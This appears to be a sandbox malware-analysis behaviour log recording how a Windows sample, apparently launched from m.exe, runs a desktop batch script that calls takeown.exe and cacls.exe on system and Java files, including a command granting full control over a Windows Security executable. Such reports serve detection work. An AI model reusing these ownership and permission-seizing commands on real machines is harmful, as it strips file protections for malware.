Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x10a8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 67	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x11a0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 23	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "PhotoAcq.dll.mui"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "PhotoAcq.dll.mui"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 61	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn

Process #118: cacls.exe

0

»

Information	Value
ID	#118
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Security\vt mapping.exe" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:52, Reason: Child Process
Unmonitor	End Time: 00:03:00, Reason: Self Terminated
Monitor Duration	00:00:08
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xf98
Parent PID	0x1088 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F04 0x F58

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #119: cmd.exe

300

0

»

Information	Value
ID	#119
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:55, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:30

OS Process Information

»

Information	Value
PID	0x1204
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 544 0x F7C

Threads

Thread 0x544

300

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 79	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x1388, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000002	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 64	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x12ec, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000001	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 18	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "classes.jsa"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
